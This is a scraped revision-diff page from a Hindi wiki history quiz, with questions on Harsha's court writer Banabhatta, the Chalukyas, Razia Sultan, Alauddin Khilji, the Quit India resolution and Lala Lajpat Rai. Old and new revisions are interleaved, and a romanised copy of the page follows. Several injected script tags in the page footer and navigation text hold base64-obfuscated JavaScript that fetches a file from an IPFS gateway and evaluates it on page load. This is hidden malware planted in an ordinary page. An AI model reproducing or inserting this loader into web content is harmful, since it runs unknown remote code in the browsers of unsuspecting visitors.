Difference between revisions of "इतिहास सामान्य ज्ञान 72"

भारत डिस्कवरी प्रस्तुति
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{[[हर्षवर्धन|हर्ष]] के दरबारी लेखक [[बाणभट्ट]] की कृतियों में कौन उनसे सम्बद्ध नहीं है?
 
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-[[हर्षचरित]]
 
-[[कादम्बरी]]
 
-[[रामचरित मानस]]
 
+[[मालविकाग्निमित्रम्]]
 
 
{[[वातापी कर्नाटक|वातापि]] अथवा [[बादामी]] के [[चालुक्य वंश]] का संस्थापक कौन था?
 
|type="()"}
 
+जयसिंह
 
-[[पुलकेशी प्रथम]]
 
-[[रणराग]]
 
-कीर्तिवर्मन प्रथम
 
 
{[[पल्लव]] किसके सामंत थे?
 
|type="()"}
 
-[[चोल|चोलों]] के
 
-[[चालुक्य राजवंश|चालुक्यों]] के
 
+[[सातवाहन|सातवाहनों]] के
 
-[[राष्ट्रकूट वंश|राष्ट्रकूटों]] के
 
||सातवाहन [[भारत]] का एक राजवंश था। जिसने केन्द्रीय दक्षिण [[भारत]] पर शासन किया। भारतीय परिवार, जो [[पुराण|पुराणों]] (प्राचीन धार्मिक तथा किंवदंतियों का साहित्य) पर आधारित कुछ व्याख्याओं के अनुसार, आंध्र जाति (जनजाति) का था और दक्षिणापथ अर्थात दक्षिणी क्षेत्र में साम्राज्य की स्थापना करने वाला यह पहला दक्कनी वंश था।{{point}}अधिक जानकारी के लिए देखें:-[[सातवाहन वंश]]
 
 
{[[रजिया सुल्तान]] का विरोध कर रहे तुर्की अमीरों के दल का नेता कौन था?
 
|type="()"}
 
-मलिक ईनुद्दीन कबीर ख़ाँ अयाज
 
+विजामुल मुल्क जुनैदी
 
-मलिक अलीउद्दीन कूची
 
-मलिक सैफुद्दीन कूची
 
 
{[[20 जुलाई]], 1296 को [[अलाउद्दीन ख़िलजी]] ने अपने चाचा [[जलालुद्दीन ख़िलजी]] का वध कहाँ पर किया?
 
|type="()"}
 
+[[कड़ा]] में
 
-चंदेरी में
 
-[[देवगिरि]] में
 
-[[दिल्ली]] में
 
||[[उत्तर प्रदेश]] में [[इलाहाबाद]] से 40 मील की दूरी पर [[कड़ा]] अवस्थित है। [[जलालुद्दीन ख़िलजी]] के शासनकाल (1290-96 ई.) में [[अलाउद्दीन ख़िलजी]] कड़ा का सूबेदार था।{{point}}अधिक जानकारी के लिए देखें:-[[कड़ा]]
 
  
 
{[[काँग्रेस]] ने '[[भारत छोड़ो आंदोलन]]' का प्रस्ताव किस वर्ष पारित किया?
 
{[[काँग्रेस]] ने '[[भारत छोड़ो आंदोलन]]' का प्रस्ताव किस वर्ष पारित किया?
 
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-1940 में
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-[[1940]] में
-1941 में
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-[[1941]] में
-1946 में
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-[[1946]] में
+1942 में
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+[[1942]] में
  
{[[महात्मा गाँधी]] को सर्वप्रथम 'राष्ट्रपिता' किसने कहा?
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{[[महात्मा गाँधी]] को सर्वप्रथम '[[राष्ट्रपिता]]' किसने कहा?
 
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-[[वल्लभ भाई पटेल]]  
 
-[[वल्लभ भाई पटेल]]  
 
-[[सी. राजगोपालाचारी]]
 
-[[सी. राजगोपालाचारी]]
 
+[[सुभाष चन्द्र बोस]]  
 
+[[सुभाष चन्द्र बोस]]  
-[[जवाहर लाल नेहरू]]
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-[[जवाहरलाल नेहरू]]
||[[चित्र:Subhash-Chandra-Bose-2.jpg|सुभाष चंद्र बोस|100px|right]][[भारत]] की स्वतंत्रता के लिए [[सुभाष चंद्र बोस]] ने क़रीब-क़रीब पूरे यूरोप में अलख जगाया। बोस प्रकृति से [[साधु]], ईश्वर भक्त तथा तन एवं मन से देशभक्त थे। सुभाष चंद्र बोस का एक ऐसा व्यक्तित्व था, जिसका मार्ग कभी भी स्वार्थों ने नहीं रोका, जिसके पाँव लक्ष्य से पीछे नहीं हटे, जिसने जो भी स्वप्न देखे, उन्हें साधा और जिसमें सच्चाई के सामने खड़े होने की अद्भुत क्षमता थी।{{point}}अधिक जानकारी के लिए देखें:-[[सुभाष चन्द्र बोस]]
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||[[चित्र:Subhash-Chandra-Bose-2.jpg|सुभाष चंद्र बोस|100px|right]][[भारत]] की स्वतंत्रता के लिए [[सुभाष चंद्र बोस]] ने क़रीब-क़रीब पूरे [[यूरोप]] में अलख जगाया। बोस प्रकृति से [[साधु]], ईश्वर भक्त तथा तन एवं मन से देशभक्त थे। सुभाष चंद्र बोस का एक ऐसा व्यक्तित्व था, जिसका मार्ग कभी भी स्वार्थों ने नहीं रोका, जिसके पाँव लक्ष्य से पीछे नहीं हटे, जिसने जो भी स्वप्न देखे, उन्हें साधा और जिसमें सच्चाई के सामने खड़े होने की अद्भुत क्षमता थी।{{point}}अधिक जानकारी के लिए देखें:-[[सुभाष चन्द्र बोस]]
  
{कौन-सी पुस्तक [[जवाहर लाल नेहरू]] द्वारा लिखी गई है?
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{कौन-सी पुस्तक [[जवाहरलाल नेहरू]] द्वारा लिखी गई है?
 
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-ए पैसेज टू इंडिया  
 
-ए पैसेज टू इंडिया  
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-चार बार
 
-चार बार
  
{किसने कहा था कि, "मेरे शरीर पर पड़ी एक-एक चोट ब्रिटिश साम्राज्य के क़फन की कील बनेगी"?
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{किसने कहा था कि, "मेरे शरीर पर पड़ी एक-एक चोट ब्रिटिश साम्राज्य के कफ़न की कील बनेगी"?
 
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+[[लाला लाजपत राय]]  
 
+[[लाला लाजपत राय]]  
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-[[चंद्रशेखर आज़ाद]]  
 
-[[चंद्रशेखर आज़ाद]]  
 
-[[बाल गंगाधर तिलक]]  
 
-[[बाल गंगाधर तिलक]]  
||[[चित्र:Lala-Lajpat-Rai.jpg|लाला लाजपत राय|100px|right]][[लाहौर]] में 30 अक्टूबर, 1928 को एक बड़ी घटना घटी। जब [[लाला लाजपत राय]] के नेतृत्व में [[साइमन कमीशन]] का विरोध कर रहे युवाओं को बेरहमी से पीटा गया। पुलिस ने लाला लाजपत राय की छाती पर निर्ममता से लाठियाँ बरसाईं। वे बुरी तरह घायल हो गए, इस समय अपने अंतिम भाषण में उन्होंने कहा, "मेरे शरीर पर पड़ी एक-एक चोट ब्रिटिश साम्राज्य के क़फन की कील बनेगी"।{{point}}अधिक जानकारी के लिए देखें:-[[लाला लाजपत राय]]
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||[[चित्र:Lala-Lajpat-Rai.jpg|लाला लाजपत राय|100px|right]][[लाहौर]] में [[30 अक्टूबर]], [[1928]] को एक बड़ी घटना घटी। जब [[लाला लाजपत राय]] के नेतृत्व में [[साइमन कमीशन]] का विरोध कर रहे युवाओं को बेरहमी से पीटा गया। पुलिस ने लाला लाजपत राय की छाती पर निर्ममता से लाठियाँ बरसाईं। वे बुरी तरह घायल हो गए, इस समय अपने अंतिम भाषण में उन्होंने कहा, "मेरे शरीर पर पड़ी एक-एक चोट ब्रिटिश साम्राज्य के कफ़न की कील बनेगी"।{{point}}अधिक जानकारी के लिए देखें:-[[लाला लाजपत राय]]
 
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Latest revision as of 12:55, 27 November 2016

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 kaangres ne 'bharat chho do aandolan' ka prastav kis varsh parit kiya?

1940 mean
1941 mean
1946 mean
1942 mean

3 kaun-si pustak javaharalal neharoo dvara likhi gee hai?

e paisej too iandiya
maee eksaperimeant vith truth
iandiya vians fridam
diskavari aauf iandiya

4 gaandhiji bharatiy rashtriy kaangres ke adhyaksh kitani bar bane?

ek bar
do bar
tin bar
char bar

5 kisane kaha tha ki, "mere sharir par p di ek-ek chot british samrajy ke kafan ki kil banegi"?

lala lajapat ray
bhagat sianh
chandrashekhar azad
bal gangadhar tilak

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan